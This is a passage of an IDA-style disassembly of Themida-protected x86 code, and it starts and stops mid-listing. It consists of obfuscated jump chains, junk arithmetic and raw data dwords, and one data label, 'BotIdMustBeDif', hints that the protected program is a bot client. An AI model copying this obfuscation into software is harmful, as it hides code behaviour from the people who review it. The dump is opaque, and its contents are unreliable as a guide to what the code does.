ecx, 57C577A1h shl ecx, 8 shl ecx, 5 jmp loc_55BA4B ; --------------------------------------------------------------------------- dd 0E95DE901h, 0FFFF42FFh ; --------------------------------------------------------------------------- loc_567120: ; CODE XREF: Themida_:0055CF8Fj inc edx push 3347h mov [esp], ecx mov ecx, 6DE1154Ah shr ecx, 4 jmp loc_55E797 ; --------------------------------------------------------------------------- dw 0E289h dd 17E4E9h db 0 ; --------------------------------------------------------------------------- loc_56713D: ; CODE XREF: Themida_:0056956Cj mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] jmp loc_55DF37 ; --------------------------------------------------------------------------- loc_567156: ; CODE XREF: Themida_:00564090j pop eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 jmp loc_56610A ; --------------------------------------------------------------------------- loc_567171: ; CODE XREF: Themida_:0055930Aj add ecx, 72A9DEA9h sub edx, 57FB5614h jmp loc_55F8CB ; --------------------------------------------------------------------------- dw 0E381h dd 7C46263Dh, 0EB81D3F7h, 63B9722Ah, 1F28EF81h, 0EF810722h dd 3A7B41h, 0C781DF29h, 3A7B41h, 14F2B951h, 0D9F74621h dd 38B0C981h, 0C9813691h, 7C8E410Eh, 540DE981h, 73E9358Ah db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5671C3: ; CODE XREF: Themida_:0055C25Ej not edi sub edi, 1B1009FDh jmp loc_561A85 ; --------------------------------------------------------------------------- dd offset aBotIdMustBeDif+24h dd 240C8900h, 7A3768h, 62CAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5671E2: ; CODE XREF: Themida_:0056CBE7j add esp, 4 inc ecx add ecx, 0FFFFFFFFh push eax mov eax, 0F2744E12h jmp loc_56A320 ; --------------------------------------------------------------------------- aYsYHG db 'YS╩Y]е`h,g',0 align 10h dd offset dword_457444+14CA5h db 0 ; --------------------------------------------------------------------------- loc_567205: ; CODE XREF: Themida_:00564ADFj xor bh, cl pop cx mov al, 0B9h jmp loc_557AD2 ; --------------------------------------------------------------------------- dword_567210 dd 240C8B66h, 57E18951h, 0FA110EBFh, 0F6C7812Eh, 1D105EEh ; DATA XREF: Themida_:00556110o dd 0E9835FF9h, 240C8704h, 520EE9h, 1F1E6800h, 815D6263h dd 9E752DC5h, 0C5814D32h, 0D4EB76C1h, 2C8BE829h, 4C48324h dd 424B5D2Dh, 7EF2051Ah, 0D8294E99h, 997EF22Dh, 0A468564Eh dd 89000063h, 0BBF243Ch, 8120DC12h, 207297F7h, 4FD7F71Eh dd 70AE8D0Fh, 0C781FFFFh, 7AE00721h, 0FF5E22E9h db 0FFh ; --------------------------------------------------------------------------- loc_567285: ; CODE XREF: Themida_:0056D719j mov esi, 3AEB6800h xor esi, 113A5802h sub eax, 814E8Fh sub eax, 4027687Eh sub eax, 15EE152Dh sub eax, esi jmp loc_561EB6 ; --------------------------------------------------------------------------- loc_5672A6: ; CODE XREF: Themida_:00557640j mov al, 0Ah inc al jle loc_55EFB3 shr al, 4 jmp loc_5683FB ; --------------------------------------------------------------------------- loc_5672B8: ; CODE XREF: Themida_:00564507j add eax, 0BD0ED6C2h dec eax jnz loc_55CB7D jmp loc_561576 ; --------------------------------------------------------------------------- db 1, 0C5h, 58h dd 8804EC83h db 0C6h, 8Ah, 0D1h ; --------------------------------------------------------------------------- loc_5672D3: ; CODE XREF: Themida_:0056B2EEj xor dl, 44h push eax mov ah, 83h push ebx mov bl, 58h dec bl sub bl, 0A5h push dx mov dl, 0DEh add bl, dl mov dx, [esp] add esp, 2 add bl, 0B8h sub ah, bl pop ebx add bl, ah pop eax jmp loc_55FE66 ; --------------------------------------------------------------------------- loc_5672FC: ; CODE XREF: Themida_:0055645Bj ; Themida_:0055A3BBj mov edx, esp jmp loc_55D9D4 ; --------------------------------------------------------------------------- loc_567303: ; CODE XREF: Themida_:0055E9B7j ; Themida_:005692BEj add al, 0C8h add al, 95h add al, dl sub al, 95h sub al, 0C8h mov dx, [esp] sub esp, 4 jmp loc_55D877 ; --------------------------------------------------------------------------- dd 5BF3CE81h, 0EE816B0Ch, 7FA3399Fh, 2414F756h, 0F3C6815Eh dd 535537Ch, 5D0E5C85h, 852DF029h, 0FF5D0E5Ch, 0E95E2434h dd 0FFFF4C0Eh dword_567348 dd 0C2D0E9ACh ; DATA XREF: Themida_:0055606Co db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56734E: ; CODE XREF: Themida_:00568262j mov [esp], eax mov al, 36h jmp loc_566138 ; --------------------------------------------------------------------------- loc_567358: ; CODE XREF: Themida_:loc_558711j or edi, 4D16658Ch shl edi, 1 jns loc_56D703 sub edi, 512696FCh mov ebx, edi pop edi jmp loc_55C2CF ; --------------------------------------------------------------------------- loc_567374: ; CODE XREF: Themida_:00567424j add eax, edx push ebp push 68285DD6h mov ebp, [esp] add esp, 4 add eax, ebp pop ebp jmp loc_55B686 ; --------------------------------------------------------------------------- loc_56738A: ; CODE XREF: Themida_:00562282j push esp pop ecx push esi sub esp, 4 mov [esp], eax mov eax, 62B8109Bh and eax, 75776F85h dec eax jge loc_56872F jmp loc_55684D ; --------------------------------------------------------------------------- dd 26E95266h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673B3: ; CODE XREF: Themida_:0055A516j add ah, 54h neg ah jmp loc_568734 ; --------------------------------------------------------------------------- loc_5673BD: ; CODE XREF: Themida_:00567CCEj ; Themida_:0056A9ACj xor eax, 9FCEBFDEh and ecx, eax mov eax, [esp] jmp loc_567CF9 ; --------------------------------------------------------------------------- aIHAR_hk db '┴<$h╨a~r_h┼"',0 align 2 dw 489h dd 1C1FB824h, 0C701967Ah, 0FF9141E9h db 0FFh ; --------------------------------------------------------------------------- loc_5673E9: ; CODE XREF: Themida_:00567CD6j shl edx, 1 jmp loc_567F8A ; --------------------------------------------------------------------------- loc_5673F0: ; CODE XREF: Themida_:0056CFD4j pop esp push ebx jmp loc_55B674 ; --------------------------------------------------------------------------- loc_5673F7: ; CODE XREF: Themida_:0055D591j pop eax push edx push esp jmp loc_566824 ; --------------------------------------------------------------------------- loc_5673FF: ; CODE XREF: Themida_:00563243j mov eax, [esp] jmp loc_5642BE ; --------------------------------------------------------------------------- loc_567407: ; CODE XREF: Themida_:0055F22Dj or ebx, 0E225857h jmp loc_56324D ; --------------------------------------------------------------------------- loc_567412: ; CODE XREF: Themida_:0055EEE7j ; Themida_:00569CD7j mov [esp], edx push eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56741C: ; CODE XREF: Themida_:005653C2j mov bh, 1Ch jmp loc_558DBE ; --------------------------------------------------------------------------- loc_567423: ; CODE XREF: Themida_:00562EB0j pop esi jmp loc_567374 ; --------------------------------------------------------------------------- loc_567429: ; CODE XREF: Themida_:0055B438j mov [esp], cx movzx cx, al push cx pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_567439: ; CODE XREF: Themida_:005636B5j xor ebp, edx pop edx not ebp jmp loc_567C84 ; --------------------------------------------------------------------------- loc_567443: ; CODE XREF: Themida_:00560EF4j sub edx, 46392104h add edx, edi add edx, 46392104h push ecx mov ecx, 3EEF5C70h not ecx push edx mov edx, 58412972h add edx, 0D4F8DEAFh add ecx, edx pop edx neg ecx add ecx, 264A2392h add edx, ecx jmp loc_5630B3 ; --------------------------------------------------------------------------- loc_567477: ; CODE XREF: Themida_:0055A446j ; Themida_:00568E24j mov edi, [esp] add esp, 4 xor edx, eax pop eax sub edx, ebp jmp loc_55BEF6 ; --------------------------------------------------------------------------- db 68h dd 71E2h, 0BF243C89h, 74463E60h, 0D13013B8h, 75E953BDh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56749F: ; CODE XREF: Themida_:0055FDB3j mov [esp], edx jmp loc_5669C4 ; --------------------------------------------------------------------------- db 4Eh dd 0E5168A0Fh, 0E681FFFFh, 647B6353h, 87F78A0Fh, 0BB53FFFFh dd 23A69FDh, 814BD3F7h, 526B1CE3h, 608CE909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5674CE: ; CODE XREF: Themida_:00556650j add ebp, 4B2E1421h sub ebp, ecx sub ebp, 4B2E1421h pop ecx mov ecx, ebp pop ebp sub ecx, 34FE6A12h add ecx, ebx add ecx, 34FE6A12h jmp loc_56A2E0 ; --------------------------------------------------------------------------- loc_5674F3: ; CODE XREF: Themida_:0055FB07j push ecx mov ecx, 85C7AE97h add esi, ecx mov ecx, [esp] add esp, 4 mov ebp, esi mov esi, [esp] add esp, 4 add edx, ebp pop ebp jmp loc_56CAD0 ; --------------------------------------------------------------------------- byte_567511 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005560D0o dd 3552E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56751A: ; CODE XREF: Themida_:005631A8j xor edx, 9591C1B3h xor edi, edx pop edx jmp loc_55CF16 ; --------------------------------------------------------------------------- loc_567528: ; CODE XREF: Themida_:0055E438j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55F0E3 ; --------------------------------------------------------------------------- loc_567552: ; CODE XREF: Themida_:0055B7CBj pop edx push 5887h mov [esp], ecx push edx mov edx, 545B0464h shl edx, 1 xor edx, ebp xor ebp, edx xor edx, ebp dec ebp jmp loc_569909 ; --------------------------------------------------------------------------- loc_56756F: ; CODE XREF: Themida_:0055CA32j push 6000h mov [esp], esi jmp loc_5661CC ; --------------------------------------------------------------------------- loc_56757C: ; CODE XREF: Themida_:0055D6DCj or ebx, 7AC8639Eh js loc_55FE0B sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx sub esp, 4 jmp loc_559A59 ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 53E9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5675AE: ; CODE XREF: Themida_:00566C53j add edi, edx push eax push edi jmp loc_55B7FD ; --------------------------------------------------------------------------- loc_5675B7: ; CODE XREF: Themida_:0056CB32j sub eax, 96B7B4D9h add edx, eax pop eax sub edx, 4 push edx jmp loc_566722 ; --------------------------------------------------------------------------- loc_5675C8: ; CODE XREF: Themida_:00556D44j mov ebx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_56977A ; --------------------------------------------------------------------------- dw 2BDh dd 89000000h, 242C8BEAh, 2D04C483h, 60BC4E37h, 3705D001h dd 0FF60BC4Eh, 51E92434h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_567607: ; CODE XREF: Themida_:00558999j pop ebx xchg eax, [esp] pop esp div cl jmp loc_56D008 ; --------------------------------------------------------------------------- loc_567613: ; CODE XREF: Themida_:0055FA97j dec esi and esi, 78185A10h add esi, 5C4CC9EBh jmp loc_561F00 ; --------------------------------------------------------------------------- loc_567625: ; CODE XREF: Themida_:0056C784j push eax push edx mov dl, 4Dh mov ah, dl jmp loc_5598BD ; --------------------------------------------------------------------------- dd 0E9DBF759h, 0FFFF986Ah, 1703D6BEh, 0FFF00137h, 835E2434h dd 0BBE904ECh, 53FFFF7Eh, 2BBh, 6DBD5500h, 0E9762271h dd 0FFFF4BDFh ; --------------------------------------------------------------------------- loc_56765C: ; CODE XREF: Themida_:0055E546j add eax, 768A7097h mov ecx, [eax] pop eax pop edx sub esp, 4 mov [esp], edi push dword ptr [esp] pop edx push 57E9h jmp loc_55EECD ; --------------------------------------------------------------------------- dd 413B82B9h, 6DE1813Fh, 51097F4Bh, 592414F7h, 19568h dd 242C8900h, 576A6850h, 0F7586B96h, 0B58F0FD8h, 2DFFFEF3h dd 8B289D93h, 48BC589h, 4C48324h, 815DE901h, 882E79C7h dd 68CF0118h, 4CC5h, 0BE243489h, 7CA21732h, 1BD5546h, 0E9722422h dd 0FFFF1D83h ; --------------------------------------------------------------------------- loc_5676D4: ; CODE XREF: Themida_:005692B3j mov esp, [esp] mov [esp], cx jmp loc_5562E7 ; --------------------------------------------------------------------------- dword_5676E0 dd 241CF766h, 0A902E99Ch, 0ECC0FFFFh, 0B1516608h, 66CC2872h ; DATA XREF: Themida_:005560C8o dd 53240C8Bh, 9FE9E389h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5676FF: ; CODE XREF: Themida_:00561127j mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_560814 ; --------------------------------------------------------------------------- db 0Dh dd 58A81825h, 4642BE56h, 0F6813FD9h, 0D042ADCh, 0FFCDADE9h dd 0E95066FFh, 0FFFFD118h, 4C481h, 50520000h, 139DE9h db 0 ; --------------------------------------------------------------------------- loc_567735: ; CODE XREF: Themida_:0056C11Cj pop ebx xor bl, al movzx eax, al mov dx, [esp] jmp loc_55B74C ; --------------------------------------------------------------------------- loc_567744: ; CODE XREF: Themida_:00560314j not ebx push edi mov edi, 0D1DACB5Ah jmp loc_568CE8 ; --------------------------------------------------------------------------- loc_567751: ; CODE XREF: Themida_:0056433Dj mov ch, al pop eax mov [edi+eax*4+1], ch jmp loc_55EC20 ; --------------------------------------------------------------------------- loc_56775D: ; CODE XREF: Themida_:loc_5590C3j and ebx, 7AC2343Bh jl loc_561796 push ebp mov ebp, 0C0000060h jmp loc_568383 ; --------------------------------------------------------------------------- dd 24048F5Fh, 8924248Bh, 7CE9242Ch, 8BFFFF2Bh, 0C4832404h dd 8BC80104h, 0C483240Ch, 24048704h, 124248Bh, 0E99C2404h dd 0FFFFB655h ; --------------------------------------------------------------------------- loc_5677A0: ; CODE XREF: Themida_:0056B2AFj add esi, edi pop edi sub esi, 4 jmp loc_5630D0 ; --------------------------------------------------------------------------- loc_5677AE: ; CODE XREF: Themida_:00558F70j mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5647FC ; --------------------------------------------------------------------------- loc_5677C3: ; CODE XREF: Themida_:00556CFAj jns loc_5695E5 shl ecx, 4 push edx mov edx, 16485144h pop esp loc_5677D3: ; CODE XREF: Themida_:00561607j pop ebx add ecx, 4 xchg ecx, [esp] pop esp push esi mov esi, 2 jmp loc_55EE83 ; --------------------------------------------------------------------------- loc_5677E9: ; CODE XREF: Themida_:005598C4j push ebx jmp loc_558482 ; --------------------------------------------------------------------------- db 4 aSu db '|ИU',8,0 align 2 loc_5677F6: ; CODE XREF: Themida_:005666C8j neg ebx sub ebx, 0DAFE765Ah jmp loc_556F0C ; --------------------------------------------------------------------------- loc_567803: ; CODE XREF: Themida_:0056A523j mov [esp], esp jmp loc_56194D ; --------------------------------------------------------------------------- aN1Sc db '╜1ьИC',27h,0 ; DATA XREF: Themida_:00556134o db 0 ; --------------------------------------------------------------------------- loc_567813: ; CODE XREF: Themida_:loc_55B972j shl ecx, 1 jnp loc_559493 add ecx, 29A5C4FCh add edx, ecx pop ecx xchg edx, [esp] loc_567827: ; CODE XREF: Themida_:00562156j add esp, 4 jmp loc_556E22 ; --------------------------------------------------------------------------- loc_56782F: ; CODE XREF: Themida_:005695BDj mov ecx, [esp] add esp, 4 push eax mov eax, esp jmp loc_565FE2 ; --------------------------------------------------------------------------- db 47h, 0E9h, 9Ch dd 5CFFFFC1h, 0B8240489h, 505C6934h, 48BC231h, 4C48124h dd 0E9000000h, 34FDh, 1C03C381h, 6FE97E51h db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567867: ; CODE XREF: Themida_:00559C88j xchg eax, esi sub eax, 70F330F4h js loc_558043 jmp loc_5662BA ; --------------------------------------------------------------------------- dd 0AD68212Dh, 0B230512h, 90E94AA7h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567887: ; CODE XREF: Themida_:0056939Dj add edi, 0CBCED1C8h push 0EB5h mov [esp], eax mov eax, 0E4E3595h add eax, 68F251B8h add eax, 0B765F4D5h sub ecx, eax jmp loc_559985 ; --------------------------------------------------------------------------- loc_5678AB: ; CODE XREF: Themida_:0056D3F1j push ebx jmp loc_55A0BF ; --------------------------------------------------------------------------- loc_5678B1: ; CODE XREF: Themida_:00562F2Dj mov [esp], edi pop ebx jmp loc_55CE38 ; --------------------------------------------------------------------------- loc_5678BA: ; CODE XREF: Themida_:0056436Cj pop esp jmp loc_56B952 ; --------------------------------------------------------------------------- loc_5678C0: ; CODE XREF: Themida_:0055D61Aj ; Themida_:0056440Cj sub esi, ecx pop ecx jmp loc_5588D9 ; --------------------------------------------------------------------------- loc_5678C8: ; CODE XREF: Themida_:00558664j pop esp sub edx, 7C9672E6h sub edx, ebp push 1513h mov [esp], edi push ebp jmp loc_55FBE9 ; --------------------------------------------------------------------------- db 0BFh dd 0DD02B92h, 5602EFC1h, 0FF8CD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5678ED: ; CODE XREF: Themida_:00564D70j push 73C3h mov [esp], eax push ebp push ecx mov ecx, 7E2563C4h mov ebp, 6CB67F6Ah jmp loc_55D7C3 ; --------------------------------------------------------------------------- loc_567906: ; CODE XREF: Themida_:0056184Aj mov [esp], esp push esi mov esi, 4 jmp loc_55E5CC ; --------------------------------------------------------------------------- loc_567914: ; CODE XREF: Themida_:0055931Dj add ebx, edi add ebx, 2E286D2Ah push ecx mov ecx, 0 add ecx, 40E7510Dh jmp loc_556F49 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 7F6E68h, 24148900h, 0FF9D14E9h db 0FFh ; --------------------------------------------------------------------------- loc_567941: ; CODE XREF: Themida_:0055682Bj mov [esp], edx push esp pop edx push 7B64h jmp loc_556747 ; --------------------------------------------------------------------------- loc_567950: ; CODE XREF: Themida_:005619A5j add ebx, ebp pop ebp xchg ebx, [esp] pop esp push edi mov edi, esp push 2612h jmp loc_557F9C ; --------------------------------------------------------------------------- loc_567964: ; CODE XREF: Themida_:0055A114j add al, dl sub al, 0F6h pop edx sub bl, 43h sub bl, al add bl, 43h pop eax push ax mov ah, 0A3h add bl, ah jmp loc_569ED8 ; --------------------------------------------------------------------------- loc_56797D: ; CODE XREF: Themida_:00569140j pop ebx sub esp, 4 mov [esp], ebx push edx mov dl, 0E0h mov bh, 88h jmp loc_563FE4 ; --------------------------------------------------------------------------- loc_56798E: ; CODE XREF: Themida_:00566C05j add esi, 38D731F6h jmp loc_569DAC ; --------------------------------------------------------------------------- loc_567999: ; CODE XREF: Themida_:0055A071j shr ebp, 5 xor ebp, 5E995568h add ebp, 14F867F0h not ebp add ebp, 6D357271h mov ecx, ebp pop ebp sub ebp, ecx pop ecx jmp loc_55CC84 ; --------------------------------------------------------------------------- loc_5679BB: ; CODE XREF: Themida_:0056B7C8j and ebp, 3C692D72h jmp loc_557922 ; --------------------------------------------------------------------------- dw 0D7F7h dd 1BD554Fh, 1000000h, 0B52E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5679D6: ; CODE XREF: Themida_:00559707j add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx jmp loc_55A7BD ; --------------------------------------------------------------------------- loc_5679F6: ; CODE XREF: Themida_:00565A64j mov [esp], ecx push 39942F25h mov ecx, [esp] add esp, 4 inc ecx jmp loc_56A3C6 ; --------------------------------------------------------------------------- loc_567A0A: ; CODE XREF: Themida_:0055A209j shr eax, 5 not eax and eax, 2CD0023Bh inc eax sub eax, 2C800020h add edi, eax jmp loc_558C3B ; --------------------------------------------------------------------------- loc_567A21: ; CODE XREF: Themida_:0055B55Fj push edx mov edx, 4 add ebx, edx pop edx add ebx, 2 jmp loc_5600B7 ; --------------------------------------------------------------------------- loc_567A35: ; CODE XREF: Themida_:0055A7EDj mov esi, [esp] push ebp mov ebp, esp add ebp, 4 push esi jmp loc_5633C3 ; --------------------------------------------------------------------------- loc_567A47: ; CODE XREF: Themida_:0055F009j shl eax, 1 add eax, 75529DFh add eax, 7A1D3DBBh dec eax jmp loc_562170 ; --------------------------------------------------------------------------- loc_567A59: ; CODE XREF: Themida_:0056BCC0j push ecx mov cl, 33h and cl, 19h shl cl, 2 jmp loc_567EE9 ; --------------------------------------------------------------------------- loc_567A67: ; CODE XREF: Themida_:0055B29Cj sub esi, 0FFFFFFFFh shl esi, 8 or esi, 5D3519F5h neg esi jmp loc_557826 ; --------------------------------------------------------------------------- loc_567A7A: ; CODE XREF: Themida_:00562B30j add eax, edx sub eax, 390F6D75h sub eax, 53650E47h mov edx, [esp] add esp, 4 push esi mov esi, 76715DC6h sub ebx, esi pop esi jmp loc_55B452 ; --------------------------------------------------------------------------- loc_567A9A: ; CODE XREF: Themida_:005626A5j sub ebp, 0F3990F17h jmp loc_55ECD0 ; --------------------------------------------------------------------------- loc_567AA5: ; CODE XREF: Themida_:loc_559B2Cj dec ecx or ecx, 2C8D1C22h jge loc_55EA9B push 41F7h mov [esp], ebx jmp loc_565978 ; --------------------------------------------------------------------------- byte_567ABF db 0FFh ; DATA XREF: Themida_:00556130o dd 48B2434h, 4C48324h, 281068h, 24148900h, 79EF68h, 40C1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567ADA: ; CODE XREF: Themida_:0056C1A9j add ebx, edi sub ebx, 2B607C5Dh pop edi push 18EBh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_565870 ; --------------------------------------------------------------------------- loc_567AFB: ; CODE XREF: Themida_:00568FA2j add eax, 0B2BA9355h sub esi, 3C7C3AE7h add esi, eax jmp loc_565D4D ; --------------------------------------------------------------------------- loc_567B0D: ; CODE XREF: Themida_:0056AF90j push ebx push esp jmp loc_55A46B ; --------------------------------------------------------------------------- dd 0C121F1BFh, 0B9B6E961h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B1E: ; CODE XREF: Themida_:0056A308j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_556B30 ; --------------------------------------------------------------------------- db 81h dd 5B96AFEDh, 5DEE29BEh, 0FFC055Ah, 0F00121B0h, 3ACCBB53h dd 0D3F70844h, 0B537EB81h, 3105D60Bh, 0E90C4701h, 0FFFF1DF9h ; --------------------------------------------------------------------------- loc_567B58: ; CODE XREF: Themida_:0056216Bj jp loc_56B17F push cx push eax mov al, 9Eh sub al, 0E1h jmp loc_561F41 ; --------------------------------------------------------------------------- loc_567B6A: ; CODE XREF: Themida_:0055E938j xor [esp], esi xor esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 5A8Eh mov [esp], ebx push 14D3h mov [esp], ebp push 2E556FC2h push dword ptr [esp] pop ebp jmp loc_558E8B ; --------------------------------------------------------------------------- loc_567B95: ; CODE XREF: Themida_:005622D8j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_562486 ; --------------------------------------------------------------------------- loc_567BA5: ; CODE XREF: Themida_:loc_56A5C6j jmp loc_5576A0 ; --------------------------------------------------------------------------- loc_567BAA: ; CODE XREF: Themida_:005697FEj mov [esp], eax mov eax, 6E79048Ch add ebp, 40917570h sub ebp, eax sub ebp, 40917570h jmp loc_56687D ; --------------------------------------------------------------------------- db 0BEh, 89h, 54h dd 0F0012763h, 26C62D5Eh, 0C68909FFh, 464CE9h db 0 ; --------------------------------------------------------------------------- loc_567BD9: ; CODE XREF: Themida_:00564E88j or bh, 0C3h shl bh, 6 sub bh, 4Fh add dl, bh pop ebx push eax jmp loc_5590EA ; --------------------------------------------------------------------------- loc_567BEB: ; CODE XREF: Themida_:00565326j push esi mov esi, esp jmp loc_55FABA ; --------------------------------------------------------------------------- loc_567BF3: ; CODE XREF: Themida_:005657C2j mov [esp], esi mov esi, 4 jmp loc_56D40F ; --------------------------------------------------------------------------- loc_567C00: ; CODE XREF: Themida_:0055A044j sub ebx, eax jmp loc_56D039 ; --------------------------------------------------------------------------- db 50h dd offset dword_43DEFC+256Ch dd 9000E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567C12: ; CODE XREF: Themida_:00566143j mov ah, 0A6h mov dl, ah pop ax shl dl, 7 jmp loc_556993 ; --------------------------------------------------------------------------- loc_567C20: ; CODE XREF: Themida_:0056D5A8j xor ebx, [esp] pop esp jmp loc_559D2F ; --------------------------------------------------------------------------- db 1, 0C7h, 58h dd 5585450h, 4, 42Dh, 31B0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567C3E: ; CODE XREF: Themida_:0056077Ej push ebx push dword ptr [esp+4] pop ebx jmp loc_559779 ; --------------------------------------------------------------------------- loc_567C49: ; CODE XREF: Themida_:00569643j pop esi neg esi jle loc_55B2F8 sub esi, 8F82DE5Dh mov edi, esi pop esi mov esi, edi push ecx loc_567C5E: ; CODE XREF: Themida_:0056A89Cj push 3F2C169Bh pop ebp shr ebp, 1 jmp loc_568310 ; --------------------------------------------------------------------------- loc_567C6B: ; CODE XREF: Themida_:00558F1Ej push ebx mov ebx, 52AA5978h and ebx, 5A745BBAh jmp loc_559F1B ; --------------------------------------------------------------------------- loc_567C7C: ; CODE XREF: Themida_:00557C92j mov [esp], ecx jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_567C84: ; CODE XREF: Themida_:0056743Ej push esi push eax jmp loc_56B91C ; --------------------------------------------------------------------------- loc_567C8B: ; CODE XREF: Themida_:00562E3Dj dec edx jg loc_559173 jmp loc_56CDC4 ; --------------------------------------------------------------------------- db 8Bh dd 2DB52414h ; --------------------------------------------------------------------------- loc_567C9C: ; CODE XREF: Themida_:00562E6Dj sub esp, 4 mov [esp], ecx push 2F1Fh mov [esp], ebp jmp loc_55FAAB ; --------------------------------------------------------------------------- loc_567CB2: ; CODE XREF: Themida_:0056AE7Dj mov ebx, 4 add ebp, ebx pop ebx jmp loc_556D33 ; --------------------------------------------------------------------------- loc_567CBF: ; CODE XREF: Themida_:0055B2E5j push dword ptr [esp] jmp loc_55A3B2 ; --------------------------------------------------------------------------- loc_567CC7: ; CODE XREF: Themida_:00562599j not eax neg eax inc eax neg eax jmp loc_5673BD ; --------------------------------------------------------------------------- loc_567CD3: ; CODE XREF: Themida_:0055C38Bj pop esp or edx, eax jmp loc_5673E9 ; --------------------------------------------------------------------------- byte_567CDB db 83h ; DATA XREF: Themida_:005561B8o dd 48904ECh, 16824h, 9580000h, 34FF1C47h, 0EC835824h, 241C8904h dd 0FFB3AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_567CF9: ; CODE XREF: Themida_:005673C7j add esp, 4 not ecx push ecx inc dword ptr [esp] pop ecx xor ecx, 81C6D353h push ecx pop eax pop ecx sub eax, 5FCF4FF5h jmp loc_55DFB8 ; --------------------------------------------------------------------------- loc_567D19: ; CODE XREF: Themida_:0056B470j push 484735BAh jmp loc_55AC28 ; --------------------------------------------------------------------------- db 83h dd 0E68104C4h, 239655D4h, 8904EC83h, 0BB532404h, 21342A8Ch dd 23F1E381h, 0D3F74C63h, 53E6CB81h, 0DBF70589h, 2221F381h dd 0D889481Fh, 19A355Bh, 33353571h, 1507C42h, 464658C6h dd 0FFF1C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_567D65: ; CODE XREF: Themida_:00557EEEj mov edx, [esp] add esp, 4 add edx, 4 push ecx mov ecx, 4 jmp loc_564E04 ; --------------------------------------------------------------------------- loc_567D7C: ; CODE XREF: Themida_:0055F393j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_559793 ; --------------------------------------------------------------------------- loc_567D9C: ; CODE XREF: Themida_:0055B63Aj add esp, 4 add ecx, esi pop esi pop esi jmp loc_55D3CA ; --------------------------------------------------------------------------- loc_567DA8: ; CODE XREF: Themida_:0055C909j mov edx, [esp] jmp loc_55CF6B ; --------------------------------------------------------------------------- dd 5758C731h, 4F240481h, 5A5F4914h, 144FEA81h, 555F5F49h dd 10D9E9h, 33B46800h, 34890000h, 838BE24h, 895239FDh dd 5AD189F2h, 0FF8722E9h db 0FFh ; --------------------------------------------------------------------------- loc_567DE1: ; CODE XREF: Themida_:0055DBC0j mov [esp], eax jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_567DE9: ; CODE XREF: Themida_:0055A636j dec esi sub esi, 1 dec esi push eax push ebp mov ebp, 7FBF317Ah shl ebp, 2 jns loc_55808D dec ebp sub ebp, 70271725h jge loc_56AAE4 sub ebp, 418D427Ah add ebp, 0DC22A457h mov eax, ebp pop ebp add eax, 7455716h jmp loc_5591C9 ; --------------------------------------------------------------------------- loc_567E27: ; CODE XREF: Themida_:00558839j mov edx, 2 sub ebx, 68147CE0h add ebx, edx add ebx, 68147CE0h push dword ptr [esp] jmp loc_55ABA3 ; --------------------------------------------------------------------------- loc_567E42: ; CODE XREF: Themida_:0056062Fj xor dword ptr [esp], 7F036DA3h jmp loc_55B9D7 ; --------------------------------------------------------------------------- dw 489h dd 9029E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567E56: ; CODE XREF: Themida_:0056D664j and esi, 43011CC9h jmp loc_560EB8 ; --------------------------------------------------------------------------- byte_567E61 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00556220o dd 54515524h, 33B85059h, 2D08F065h, 8F0652Fh, 8158C101h dd 4E9h, 240C8700h, 2424895Ch, 4240483h, 0FF9DD0E9h, 51D029FFh dd 443603B9h, 47C18105h, 2946B01Ch, 240C8BC8h, 5A04C483h dd 0FF1408E9h db 0FFh ; --------------------------------------------------------------------------- loc_567EA9: ; CODE XREF: Themida_:005628F9j push edi mov edi, ebp jmp loc_55D4EA ; --------------------------------------------------------------------------- loc_567EB1: ; CODE XREF: Themida_:0055CB55j push eax mov eax, 411224D7h dec eax not eax jmp loc_562DFA ; --------------------------------------------------------------------------- loc_567EBF: ; CODE XREF: Themida_:00569ECAj mov esi, esp add esi, 4 add esi, 4 jmp loc_5695A2 ; 